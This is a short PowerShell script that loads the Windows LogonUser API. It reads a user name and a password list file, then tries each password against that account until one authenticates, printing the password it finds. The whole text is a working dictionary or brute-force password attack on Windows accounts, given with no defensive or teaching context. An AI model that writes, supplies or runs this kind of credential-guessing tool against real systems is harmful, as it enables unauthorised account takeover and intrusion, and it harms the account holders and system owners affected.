$mbrDef = @' [DllImport("advapi32.dll")] public static extern bool LogonUser(string lpszUserName, System.IntPtr lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, ref System.IntPtr phToken); [DllImport("kernel32.dll")] public static extern bool CloseHandle(System.IntPtr hObject); '@ $WinAPI = Add-Type -MemberDefinition $mbrDef -Namespace 'WAPI' -Name 'WinAPI' -PassThru $userName = Read-Host 'Enter user name' $pwdList = Read-Host 'Enter password list file' Get-Content $pwdList | % { $pass = $_ $token = [IntPtr]::Zero if($WinAPI::LogonUser($userName, [IntPtr]::Zero, $pass, 3, 0, [ref] $token)){ Write-Output "Password found: $pass" $WinAPI::CloseHandle($token) | Out-Null break } }